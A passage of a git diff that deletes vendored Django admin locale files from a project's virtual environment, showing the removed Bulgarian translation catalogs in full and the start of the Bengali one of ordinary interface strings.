a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/django.po +++ /dev/null @@ -1,791 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# arneatec , 2022-2024 -# Boris Chervenkov , 2012 -# Claude Paroz , 2014 -# Jannis Leidel , 2011 -# Lyuboslav Petrov , 2014 -# Todor Lubenov , 2020 -# Todor Lubenov , 2014-2015 -# Venelin Stoykov , 2015-2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:05+0000\n" -"Last-Translator: arneatec , 2022-2024\n" -"Language-Team: Bulgarian (http://app.transifex.com/django/django/language/" -"bg/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: bg\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Изтриване на избраните %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Успешно изтрити %(count)d %(items)s ." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Не можете да изтриете %(name)s" - -msgid "Are you sure?" -msgstr "Сигурни ли сте?" - -msgid "Administration" -msgstr "Администрация" - -msgid "All" -msgstr "Всички" - -msgid "Yes" -msgstr "Да" - -msgid "No" -msgstr "Не" - -msgid "Unknown" -msgstr "Неизвестно" - -msgid "Any date" -msgstr "Коя-да-е дата" - -msgid "Today" -msgstr "Днес" - -msgid "Past 7 days" -msgstr "Последните 7 дни" - -msgid "This month" -msgstr "Този месец" - -msgid "This year" -msgstr "Тази година" - -msgid "No date" -msgstr "Няма дата" - -msgid "Has date" -msgstr "Има дата" - -msgid "Empty" -msgstr "Празно" - -msgid "Not empty" -msgstr "Не е празно" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Моля въведете правилния %(username)s и парола за администраторски акаунт. " -"Моля забележете, че и двете полета могат да са с главни и малки букви." - -msgid "Action:" -msgstr "Действие:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Добави друг %(verbose_name)s" - -msgid "Remove" -msgstr "Премахване" - -msgid "Addition" -msgstr "Добавка" - -msgid "Change" -msgstr "Промени" - -msgid "Deletion" -msgstr "Изтриване" - -msgid "action time" -msgstr "време на действие" - -msgid "user" -msgstr "потребител" - -msgid "content type" -msgstr "тип на съдържанието" - -msgid "object id" -msgstr "id на обекта" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "repr на обекта" - -msgid "action flag" -msgstr "флаг за действие" - -msgid "change message" -msgstr "промени съобщение" - -msgid "log entry" -msgstr "записка в журнала" - -msgid "log entries" -msgstr "записки в журнала" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Добавен “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Променени “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Изтрити “%(object)s.”" - -msgid "LogEntry Object" -msgstr "LogEntry обект" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Добавен {name} “{object}”." - -msgid "Added." -msgstr "Добавено." - -msgid "and" -msgstr "и" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Променени {fields} за {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Променени {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Изтрит {name} “{object}”." - -msgid "No fields changed." -msgstr "Няма променени полета." - -msgid "None" -msgstr "Празно" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Задръжте “Control”, или “Command” на Mac, за да изберете повече от едно." - -msgid "Select this object for an action - {}" -msgstr "Изберете този обект за действие - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Обектът {name} “{obj}” бе успешно добавен." - -msgid "You may edit it again below." -msgstr "Можете отново да го промените по-долу." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"Обектът {name} “{obj}” бе успешно добавен. Можете да добавите друг {name} по-" -"долу." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"Обектът {name} “{obj}” бе успешно променен. Можете да го промените отново по-" -"долу." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"Обектът {name} “{obj}” бе успешно променен. Можете да добавите друг {name} " -"по-долу." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Обектът {name} “{obj}” бе успешно променен." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Елементите трябва да бъдат избрани, за да се извършат действия по тях. Няма " -"променени елементи." - -msgid "No action selected." -msgstr "Няма избрано действие." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” беше успешно изтрит." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s с ID “%(key)s” не съществува. Може би е изтрит?" - -#, python-format -msgid "Add %s" -msgstr "Добави %s" - -#, python-format -msgid "Change %s" -msgstr "Промени %s" - -#, python-format -msgid "View %s" -msgstr "Изглед %s" - -msgid "Database error" -msgstr "Грешка в базата данни" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s беше променено успешно." -msgstr[1] "%(count)s %(name)s бяха успешно променени." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s е избран" -msgstr[1] "Избрани са всички %(total_count)s" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Избрани са 0 от %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "История на промените: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Изтриването на избраните %(class_name)s %(instance)s ще наложи изтриването " -"на следните защитени и свързани обекти: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django административен сайт" - -msgid "Django administration" -msgstr "Django администрация" - -msgid "Site administration" -msgstr "Администрация на сайта" - -msgid "Log in" -msgstr "Вход" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s администрация" - -msgid "Page not found" -msgstr "Страница не е намерена" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Съжаляваме, но поисканата страница не може да бъде намерена." - -msgid "Home" -msgstr "Начало" - -msgid "Server error" -msgstr "Сървърна грешка" - -msgid "Server error (500)" -msgstr "Сървърна грешка (500)" - -msgid "Server Error (500)" -msgstr "Сървърна грешка (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Получи се грешка. Администраторите на сайта са уведомени за това чрез " -"електронна поща и грешката трябва да бъде поправена скоро. Благодарим ви за " -"търпението." - -msgid "Run the selected action" -msgstr "Изпълни избраното действие" - -msgid "Go" -msgstr "Напред" - -msgid "Click here to select the objects across all pages" -msgstr "Щракнете тук, за да изберете обектите във всички страници" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Избери всички %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Изчисти избраното" - -msgid "Breadcrumbs" -msgstr "Трохи" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Модели в приложението %(name)s " - -msgid "Add" -msgstr "Добави" - -msgid "View" -msgstr "Изглед" - -msgid "You don’t have permission to view or edit anything." -msgstr "Нямате права да разглеждате или редактирате каквото и да е." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Първо въведете потребител и парола. След това ще можете да редактирате " -"повече детайли. " - -msgid "Enter a username and password." -msgstr "Въведете потребителско име и парола." - -msgid "Change password" -msgstr "Промени парола" - -msgid "Set password" -msgstr "Задайте парола" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Моля, поправете грешката по-долу." -msgstr[1] "Моля, поправете грешките по-долу." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Въведете нова парола за потребител %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Това действие ще включи автентикация чрез парола за този " -"потребител." - -msgid "Disable password-based authentication" -msgstr "Деактивиране на автентикация чрез парола." - -msgid "Enable password-based authentication" -msgstr "Разрешаване на автентикация чрез парола." - -msgid "Skip to main content" -msgstr "Пропуснете към основното съдържание" - -msgid "Welcome," -msgstr "Добре дошли," - -msgid "View site" -msgstr "Виж сайта" - -msgid "Documentation" -msgstr "Документация" - -msgid "Log out" -msgstr "Изход" - -#, python-format -msgid "Add %(name)s" -msgstr "Добави %(name)s" - -msgid "History" -msgstr "История" - -msgid "View on site" -msgstr "Разгледай в сайта" - -msgid "Filter" -msgstr "Филтър" - -msgid "Hide counts" -msgstr "Скрий брояча" - -msgid "Show counts" -msgstr "Покажи брояча" - -msgid "Clear all filters" -msgstr "Изчисти всички филтри" - -msgid "Remove from sorting" -msgstr "Премахни от подреждането" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Ред на подреждане: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Превключи подреждането" - -msgid "Toggle theme (current theme: auto)" -msgstr "Смени темата (настояща тема: автоматична)" - -msgid "Toggle theme (current theme: light)" -msgstr "Смени темата (настояща тема: светла)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Смени темата (настояща тема: тъмна)" - -msgid "Delete" -msgstr "Изтрий" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Изтриването на %(object_name)s '%(escaped_object)s' би причинило изтриване " -"на свързани обекти, но вашият потребител няма право да изтрива следните " -"видове обекти:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Изтриването на %(object_name)s '%(escaped_object)s' изисква изтриването на " -"следните защитени свързани обекти:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Наистина ли искате да изтриете %(object_name)s \"%(escaped_object)s\"? " -"Следните свързани елементи също ще бъдат изтрити:" - -msgid "Objects" -msgstr "Обекти" - -msgid "Yes, I’m sure" -msgstr "Да, сигурен съм" - -msgid "No, take me back" -msgstr "Не, върни ме обратно" - -msgid "Delete multiple objects" -msgstr "Изтриване на множество обекти" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Изтриването на избраните %(objects_name)s ще доведе до изтриване на свързани " -"обекти, но вашият потребител няма право да изтрива следните типове обекти:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Изтриването на избраните %(objects_name)s изисква изтриването на следните " -"защитени свързани обекти:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Наистина ли искате да изтриете избраните %(objects_name)s? Всички изброени " -"обекти и свързаните с тях ще бъдат изтрити:" - -msgid "Delete?" -msgstr "Изтриване?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " По %(filter_title)s " - -msgid "Summary" -msgstr "Резюме" - -msgid "Recent actions" -msgstr "Последни действия" - -msgid "My actions" -msgstr "Моите действия" - -msgid "None available" -msgstr "Няма налични" - -msgid "Added:" -msgstr "Добавени:" - -msgid "Changed:" -msgstr "Променени:" - -msgid "Deleted:" -msgstr "Изтрити:" - -msgid "Unknown content" -msgstr "Неизвестно съдържание" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Проблем с вашата база данни. Убедете се, че необходимите таблици в базата са " -"създадени и че съответния потребител има необходимите права за достъп. " - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Вие сте се удостоверен като %(username)s, но не сте оторизиран да достъпите " -"тази страница. Бихте ли желали да влезе с друг профил?" - -msgid "Forgotten your password or username?" -msgstr "Забравена парола или потребителско име?" - -msgid "Toggle navigation" -msgstr "Превключи навигацията" - -msgid "Sidebar" -msgstr "Страничната лента" - -msgid "Start typing to filter…" -msgstr "Започнете да пишете за филтър..." - -msgid "Filter navigation items" -msgstr "Филтриране на навигационните елементи" - -msgid "Date/time" -msgstr "Дата/час" - -msgid "User" -msgstr "Потребител" - -msgid "Action" -msgstr "Действие" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "запис" -msgstr[1] "записа" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Този обект няма история на промените. Вероятно не е бил добавен чрез този " -"административен сайт." - -msgid "Show all" -msgstr "Покажи всички" - -msgid "Save" -msgstr "Запис" - -msgid "Popup closing…" -msgstr "Изскачащият прозорец се затваря..." - -msgid "Search" -msgstr "Търсене" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s резултат" -msgstr[1] "%(counter)s резултати" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s общо" - -msgid "Save as new" -msgstr "Запиши като нов" - -msgid "Save and add another" -msgstr "Запиши и добави нов" - -msgid "Save and continue editing" -msgstr "Запиши и продължи" - -msgid "Save and view" -msgstr "Запиши и прегледай" - -msgid "Close" -msgstr "Затвори" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Променете избрания %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Добавяне на друг %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Изтриване на избрания %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Виж избраните %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Благодарим ви за добре прекараното време с този сайт днес." - -msgid "Log in again" -msgstr "Влез пак" - -msgid "Password change" -msgstr "Промяна на парола" - -msgid "Your password was changed." -msgstr "Паролата ви е променена." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Въведете старата си парола /от съображения за сигурност/. След това въведете " -"желаната нова парола два пъти, за да сверим дали е написана правилно." - -msgid "Change my password" -msgstr "Промяна на паролата ми" - -msgid "Password reset" -msgstr "Нова парола" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Паролата е променена. Вече можете да се впишете." - -msgid "Password reset confirmation" -msgstr "Потвърждение за смяна на паролата" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Моля, въведете новата парола два пъти, за да се уверим, че сте я написали " -"правилно." - -msgid "New password:" -msgstr "Нова парола:" - -msgid "Confirm password:" -msgstr "Потвърдете паролата:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Връзката за възстановяване на паролата е невалидна, може би защото вече е " -"използвана. Моля, поискайте нова промяна на паролата." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"По имейл изпратихме инструкции за смяна на паролата, ако съществува профил с " -"въведения от вас адрес. Би трябвало скоро да ги получите. " - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Ако не получите имейл, моля уверете се, че сте попълнили правилно адреса, с " -"който сте се регистрирали, също проверете спам папката във вашата поща." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Вие получавати този имейл, защото сте поискали да промените паролата за " -"вашия потребителски акаунт в %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Моля, отидете на следната страница и изберете нова парола:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Вашето потребителско име, в случай че сте го забравили:" - -msgid "Thanks for using our site!" -msgstr "Благодарим, че ползвате сайта ни!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Екипът на %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Забравили сте си паролата? Въведете своя имейл адрес по-долу, и ние ще ви " -"изпратим инструкции как да я смените с нова." - -msgid "Email address:" -msgstr "Имейл адреси:" - -msgid "Reset my password" -msgstr "Задай новата ми парола" - -msgid "Select all objects on this page for an action" -msgstr "Изберете всички обекти на този страница за действие" - -msgid "All dates" -msgstr "Всички дати" - -#, python-format -msgid "Select %s" -msgstr "Изберете %s" - -#, python-format -msgid "Select %s to change" -msgstr "Изберете %s за промяна" - -#, python-format -msgid "Select %s to view" -msgstr "Избери %s за преглед" - -msgid "Date:" -msgstr "Дата:" - -msgid "Time:" -msgstr "Час:" - -msgid "Lookup" -msgstr "Търсене" - -msgid "Currently:" -msgstr "Сега:" - -msgid "Change:" -msgstr "Промяна:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/djangojs.mo deleted file mode 100644 index a3eab438..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/djangojs.po deleted file mode 100644 index 4ec3a50a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,320 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# arneatec , 2022-2024 -# Jannis Leidel , 2011 -# Venelin Stoykov , 2015-2016 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:59+0000\n" -"Last-Translator: arneatec , 2022-2024\n" -"Language-Team: Bulgarian (http://app.transifex.com/django/django/language/" -"bg/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: bg\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Налични %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Това е списък на наличните %s . Можете да изберете някои, като ги изберете в " -"полето по-долу и след това кликнете върху стрелката \"Избери\" между двете " -"полета." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Въведете в това поле, за да филтрирате списъка на наличните %s." - -msgid "Filter" -msgstr "Филтър" - -msgid "Choose all" -msgstr "Избери всички" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Кликнете, за да изберете всички %s наведнъж." - -msgid "Choose" -msgstr "Избери" - -msgid "Remove" -msgstr "Премахни" - -#, javascript-format -msgid "Chosen %s" -msgstr "Избрахме %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Това е списък на избраните %s. Можете да премахнете някои, като ги изберете " -"в полето по-долу и след това щракнете върху стрелката \"Премахни\" между " -"двете полета." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Въведете в това поле, за да филтрирате списъка на избраните %s." - -msgid "Remove all" -msgstr "Премахване на всички" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Кликнете, за да премахнете всички избрани %s наведнъж." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s избрана опция не е видима" -msgstr[1] "%s selected options not visible" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s на %(cnt)s е избран" -msgstr[1] "%(sel)s на %(cnt)s са избрани" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Имате незапазени промени по отделни полета за редактиране. Ако изпълните " -"действие, незаписаните промени ще бъдат загубени." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Вие сте избрали действие, но не сте записали промените по полета. Моля, " -"кликнете ОК, за да се запишат. Трябва отново да изпълните действието." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Вие сте избрали действие, но не сте направили промени по полетата. Вероятно " -"търсите Изпълни бутона, а не бутона Запис." - -msgid "Now" -msgstr "Сега" - -msgid "Midnight" -msgstr "Полунощ" - -msgid "6 a.m." -msgstr "6 сутринта" - -msgid "Noon" -msgstr "По обяд" - -msgid "6 p.m." -msgstr "6 след обяд" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Бележка: Вие сте %s час напред от времето на сървъра." -msgstr[1] "Бележка: Вие сте с %s часа напред от времето на сървъра" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Внимание: Вие сте %s час назад от времето на сървъра." -msgstr[1] "Внимание: Вие сте с %s часа назад от времето на сървъра." - -msgid "Choose a Time" -msgstr "Изберете време" - -msgid "Choose a time" -msgstr "Изберете време" - -msgid "Cancel" -msgstr "Отказ" - -msgid "Today" -msgstr "Днес" - -msgid "Choose a Date" -msgstr "Изберете дата" - -msgid "Yesterday" -msgstr "Вчера" - -msgid "Tomorrow" -msgstr "Утре" - -msgid "January" -msgstr "Януари" - -msgid "February" -msgstr "Февруари" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Април" - -msgid "May" -msgstr "Май" - -msgid "June" -msgstr "Юни" - -msgid "July" -msgstr "Юли" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Септември" - -msgid "October" -msgstr "Октомври" - -msgid "November" -msgstr "Ноември" - -msgid "December" -msgstr "Декември" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "ян." - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "февр." - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "март" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "апр." - -msgctxt "abbrev. month May" -msgid "May" -msgstr "май" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "юни" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "юли" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "авг." - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "септ." - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "окт." - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "ноем." - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "дек." - -msgid "Sunday" -msgstr "неделя" - -msgid "Monday" -msgstr "понеделник" - -msgid "Tuesday" -msgstr "вторник" - -msgid "Wednesday" -msgstr "сряда" - -msgid "Thursday" -msgstr "четвъртък" - -msgid "Friday" -msgstr "петък" - -msgid "Saturday" -msgstr "събота" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "нед" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "пон" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "вт" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "ср" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "чет" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "пет" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "съб" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Н" - -msgctxt "one letter Monday" -msgid "M" -msgstr "П" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "В" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "С" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Ч" - -msgctxt "one letter Friday" -msgid "F" -msgstr "П" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "С" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/django.mo deleted file mode 100644 index f0cc24e5..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/django.po deleted file mode 100644 index ef7e14bd..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bn/LC_MESSAGES/django.po +++ /dev/null @@ -1,713 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Anubhab Baksi, 2013 -# Jannis Leidel , 2011 -# Md Arshad Hussain, 2022 -# Tahmid Rafi , 2012-2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:10-0500\n" -"PO-Revision-Date: 2022-07-25 07:05+0000\n" -"Last-Translator: Md Arshad Hussain\n" -"Language-Team: Bengali (http://www.transifex.com/django/django/language/" -"bn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: bn\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "চিহ্নিত অংশটি %(verbose_name_plural)s মুছে ফেলুন" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d টি %(items)s সফলভাবে মুছে ফেলা হয়েছে" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s ডিলিট করা সম্ভব নয়" - -msgid "Are you sure?" -msgstr "আপনি কি নিশ্চিত?" - -msgid "Administration" -msgstr "প্রয়োগ" - -msgid "All" -msgstr "সকল" - -msgid "Yes" -msgstr "হ্যাঁ" - -msgid "No" -msgstr "না" - -msgid "Unknown" -msgstr "অজানা" - -msgid "Any date" -msgstr "যে কোন তারিখ" - -msgid "Today" -msgstr "‍আজ" - -msgid "Past 7 days" -msgstr "শেষ ৭ দিন" - -msgid "This month" -msgstr "এ মাসে" - -msgid "This year" -msgstr "এ বছরে" - -msgid "No date" -msgstr "কোন তারিখ নেই" - -msgid "Has date" -msgstr "তারিখ আছে" - -msgid "Empty" -msgstr "খালি" - -msgid "Not empty" -msgstr "খালি নেই" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "কাজ:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "আরো একটি %(verbose_name)s যোগ করুন" - -msgid "Remove" -msgstr "মুছে ফেলুন" - -msgid "Addition" -msgstr "" - -msgid "Change" -msgstr "পরিবর্তন" - -msgid "Deletion" -msgstr "" - -msgid "action time" -msgstr "কার্য সময়" - -msgid "user" -msgstr "ব্যবহারকারী" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "অবজেক্ট আইডি" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "অবজেক্ট উপস্থাপক" - -msgid "action flag" -msgstr "কার্যচিহ্ন" - -msgid "change message" -msgstr "বার্তা পরিবর্তন করুন" - -msgid "log entry" -msgstr "লগ এন্ট্রি" - -msgid "log entries" -msgstr "লগ এন্ট্রিসমূহ" - -#, python-format -msgid "Added “%(object)s”." -msgstr "“%(object)s” যোগ করা হয়েছে। " - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "“%(object)s” — %(changes)s পরিবর্তন করা হয়েছে" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "“%(object)s.” মুছে ফেলা হয়েছে" - -msgid "LogEntry Object" -msgstr "লগ-এন্ট্রি দ্রব্য" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "" - -msgid "Added." -msgstr "যুক্ত করা হয়েছে" - -msgid "and" -msgstr "এবং" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "" - -msgid "No fields changed." -msgstr "কোন ফিল্ড পরিবর্তন হয়নি।" - -msgid "None" -msgstr "কিছু না" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "নিম্নে আপনি আবার তা সম্পাদনা/পরিবর্তন করতে পারেন।" - -#, python-brace-format -msgid "" -"The {name} 